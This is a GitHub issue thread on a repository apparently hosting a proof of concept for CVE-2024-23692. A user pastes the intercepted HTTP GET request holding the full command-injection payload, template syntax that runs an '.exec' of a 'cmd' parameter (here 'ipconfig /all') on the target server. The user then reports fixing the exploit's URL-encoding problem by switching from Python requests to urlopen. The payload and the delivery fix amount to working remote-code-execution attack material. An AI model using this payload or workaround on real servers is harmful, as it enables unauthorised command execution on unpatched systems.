search

k3lpi3b4nsh33 / CVE-2024-23692

3 stars 0 forks source link

python requests module default URL-Encode #1

Open meta-sec opened 2 months ago

meta-sec commented 2 months ago

Run this POC，intercept this http request ， find the request body like this

GET /?s=%250A&cmd=ipconfig+/all&search=%2525xxx%2525url:%25password%25%7D%7B.exec%7C%7B.?cmd.%7D%7Ctimeout=15%7Cout=abc.%7D%7B.?n.%7D%7B.?n.%7DRESULT:%7B.?n.%7D%7B.%5Eabc.%7D====%7B.?n.%7D HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; FreeBSD amd64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.115 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: application/x-www-form-urlencoded

the url param is URL-Encoded , that`s Python Requests module default configure ， how to fix that

meta-sec commented 2 months ago

the URL-Encoded payload did`nt exploition

meta-sec commented 2 months ago

i try to use HTTP.client module , but same problem

meta-sec commented 2 months ago

solve it，use urlopen